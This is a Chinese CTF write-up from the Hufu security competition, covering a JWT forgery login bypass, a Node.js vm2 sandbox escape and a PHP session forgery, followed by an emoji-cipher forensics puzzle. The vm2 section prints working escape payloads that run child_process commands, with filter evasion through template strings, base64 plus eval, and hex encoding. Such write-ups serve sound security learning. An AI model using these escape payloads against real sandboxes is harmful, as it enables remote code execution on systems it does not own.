虎符网络安全大赛复盘

前言

最近状态太低迷,哎,难受的鸭皮

WEB

0x 01 EasyLogin

1.网站打开是登录页面,查看js文件看到提示

  1. 尝试文件读取,首选是app.js,发现成功

image-20200419192733287

  1. 审计代码读取/controllers/api.js文件,成功

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

大致是注册的时候生成一个secret,添加到全局数据中,用于加密账号和密码生成jwttoken,登录的时候根据token里面的sid参数获取secret解密判断账号密码是否正确,这里可以采取数组绕过+空加密登录。payload如下

image-20200419193156231

注册一个用户获取session,登录抓包修改token登录

image-20200419193351610

然后访问/api/flag得到flag

本题来源于ev0a师傅的unctf出题,当时没做。。。https://evoa.me/index.php/archives/60/

0x 02 JustEscape

考点是nodejs沙箱逃逸,通过测试语言的产生异常的代码进行fuzz,使得后端抛出异常,发现后端是NodeJS + vm2,payload如下:

1
2
3
4
(function(){
var err = new Error();
return err.stack;
})();

接下来是到vm2 的仓库里查找一下逃逸相关的 issue

code存在过滤,数组可以绕过

逃逸的exp可以在https://github.com/patriksimek/vm2/issues/225获得

1
2
3
4
5
6
7
8
9
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

发现return报错,去掉后执行成功

过滤的地方可以利用反引号来把文本括起来作为字符串 https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings,同时我们也可以利用模板字符串嵌套来拼接出我们想要的被过滤了的字符串

比如这里 prototype 被过滤了,我们可以这样书写

1
`${`${`prototyp`}e`}`

贴一下payload:

1
2
3
4
5
6
7
8
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()

看了chamd5的师傅知道了还可以用字符串拆分和base64编码绕过过滤

1
2
3
4
5
6
TypeError.prototype.get_process = f => f.constructor("return process")();
try {
Object.preventExtensions(Buffer.from("")).a = 1;
} catch (e) {
e.get_process(() => { }).mainModule.require("child_process").execSync("cat /flag").toString();
}

base64编码绕过:

1
global[[`eva`,%20`l`].join(``)](Buffer.from(`VHlwZUVycm9yLnByb3RvdHlwZS5nZXRfcHJvY2VzcyA9IGYgPT4gZi5jb25zdHJ1Y3RvcigicmV0dXJuIHByb2Nlc3MiKSgpOwp0cnkgewogICAgT2JqZWN0LnByZXZlbnRFeHRlbnNpb25zKEJ1ZmZlci5mcm9tKCIiKSkuYSA9IDE7Cn0gY2F0Y2ggKGUpIHsKICAgIGUuZ2V0X3Byb2Nlc3MoKCkgPT4geyB9KS5tYWluTW9kdWxlLnJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjU3luYygiY2F0IC9mbGFnIikudG9TdHJpbmcoKTsKfQ==`,%20`base64`).toString(`ascii`));

第一种方法的hex编码绕过方法:

1
?code=(function(){TypeError[String.fromCharCode(112,114,111,116,111,116,121,112,101)][`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`] = f=>f[`\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72`](`\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x6f\x63\x65\x73\x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`\x67\x65\x74\x5f\x70\x72\x6f\x63\x65\x73\x73`](()=>{}).mainModule.require((`\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73`))[`\x65\x78\x65\x63\x53\x79\x6e\x63`](`cat /flag`).toString();}})()

第二种方法的hex编码绕过方法:

1
(function()%7B%0A%09try%7B%0A%09%09Buffer.from(new%20Proxy(%7B%7D%2C%20%7B%0A%09%09%09getOwnPropertyDescriptor()%7B%0A%09%09%09%09throw%20f%3D%3Ef%5B%60%5Cx63%5Cx6f%5Cx6e%5Cx73%5Cx74%5Cx72%5Cx75%5Cx63%5Cx74%5Cx6f%5Cx72%60%5D(%60%5Cx72%5Cx65%5Cx74%5Cx75%5Cx72%5Cx6e%5Cx20%5Cx70%5Cx72%5Cx6f%5Cx63%5Cx65%5Cx73%5Cx73%60)()%3B%0A%09%09%09%7D%0A%09%09%7D))%3B%0A%09%7Dcatch(e)%7B%0A%09%09return%20e(()%3D%3E%7B%7D).mainModule.require(%60%5Cx63%5Cx68%5Cx69%5Cx6c%5Cx64%5Cx5f%5Cx70%5Cx72%5Cx6f%5Cx63%5Cx65%5Cx73%5Cx73%60)%5B%60%5Cx65%5Cx78%5Cx65%5Cx63%5Cx53%5Cx79%5Cx6e%5Cx63%60%5D(%60cat%20%2Fflag%60).toString()%3B%0A%09%7D%0A%7D()

贴一下链接:数字中国创新大赛-虎符网络安全赛道Write up

0x 03 Babyupload

本题需要伪造session,首先使用download功能查看当前的session

结果如下:

发现其 session 处理器为 php_binary,本地生成一下session文件

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['username'] = 'admin';

计算文件的sha256 摘要值

1
echo hash_file('sha256', 'sess')

得到432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

接下来是绕过file_exists,文档中的定义是检查文件或目录是否存在,所以我们可以创建一个success.txt目录来绕过

参考资料:

https://www.zhaoj.in/read-6512.html

https://p3rh4ps.top/index.php/2020/04/19/%e8%99%8e%e7%ac%a6ctf-web-wp/

MISC

0x 01 奇怪的组织

  • 题目描述

  • 解题过程

题目附件:附件下载 提取码:(yzsa)

本题用得到的取证工具为MAGNET AXIOM,下载地址:软件下载提取码:(5qqp),推荐使用取证大师,能够检索的信息更多一些,可以在官方微信公众号联系客服获取试用版本

题目下载下来解压发现是Windows系统中C盘文件夹,使用MAGNET AXIOM工具添加案例进行分析(PS:这软件贼吉尔大,使用时候占用资源贼鸡儿多

首先查看安装程序文件夹,可以发现存在phpstudyFirefoxMicrosoftEdgemailixshellnotepad++等程序

跟进phpstudy内分析发现安装有织梦cms文件,应该是本地搭建的网站

接着查看用户应用数据目录(相对路径为Thunder\Users\bob\AppData\Local),发现存在Firefox、MicrosoftEdge和Thunderbird软件的数据文件,那么首先分析用户的浏览记录,将过滤器设置为Firefox网络历史记录,得到结果如下:

对访问记录进行分析,我们会发现该用户在11月28号的记录中可以看到访问了很多和emoji有关的网站,其中最可疑的网站是https://codemoji.org/,我们访问后发现这是一个使用emoji表情来加密文本的在线加密网站,同时根据网站提示发现网站生成密文的时候也会生成一个短连接用于分享密文信息和解密

观察分享的链接格式我们可以找到历史记录里面的一个短连接

我们访问这个链接发现用到一个emoji表情作为密钥进行解密,翻找前后的浏览记录,我们可以发现这样两条记录

我们尝试使用龙的emoji表情进行解密,成功解密得到明文

接下来分析IE浏览器的使用记录

发现用户访问了如下页面

1
http://127.0.0.1/dede/a/Blog/2019/1130/4.html

对应文件夹的路径如下:

1
Thunder\phpstudy_pro\WWW\dede\a\Blog\2019\1130

猜测得到的信息应该是AES或者DES加密过的

接下来查看Thunderbird软件的数据文件,将过滤器选择为EML(X)文件,翻阅邮件记录,根据时间顺序提取出来三个短连接,分别解密结果如下:

1
2
3
4
5
6
https://mzl.la/37QeQ4v
解得:haha, now we can chat!
https://mzl.la/2L5ZfnD
解得:yeah, maybe... let me think ...
https://mzl.la/2svfAf5
解得:aha, this way is safe!Remember my real name!

另外我们在邮件中还发现存在内容单独的emoji的邮件,缺少对应可以解密的短连接,如下:

这里我们还可以找到另一种关于emoji的加密方式,emoji-aes

1
https://aghorler.github.io/emoji-aes/

但是也需要密钥,这个密钥不支持emoji输入。

回过头来,根据对话的信息提示:真实姓名,而在Thunder\Users\bob\Pictures\Camera Roll发现sdcard文件夹,sdcard即手机的储存卡导出文件夹,再联系到需要寻找真名,想到手机通讯录,而通讯录的文件为.vcf格式,在文件夹中搜索.vcf文件,可以找到out.vcf文件

1
Thunder\Users\bob\Pictures\Camera Roll\sdcard\Android\data\com.android.backup\files\pending_blobs

根据这篇文章查看vcf文件内容:https://jingyan.baidu.com/article/3aed632e30b0f1701080918a.html,,可以发现只有`matachuan`这一个用户拥有邮箱信息,而且**real name**那封邮件正是从rjddd321@protonmail.com发来的,也就是说matachuan就是他的真名

尝试以matachuan为key解密邮件中的emoji-aes,可以得到以下几条信息

1
2
3
4
5
这个还能加密中文呢,无敌了
那你把后台账户发我吧
admin admin
帮你传了点东西,以后你写博客应该用的到
好的,我一会上去看一看,对了,组织的暗号已经换了,“GxD1r”

根据提示的信息可以得到该用户登录了dedecms后台,并且上传了秘密文件,另外一个是可能是某种加密的密钥为GxD1r,回过结合dedecms里面可疑的加密信息,尝试使用AES解密成功

参考资料:

http://www.ga1axy.top/index.php/archives/25/

https://blog.xiafeng2333.top/ctf-30/#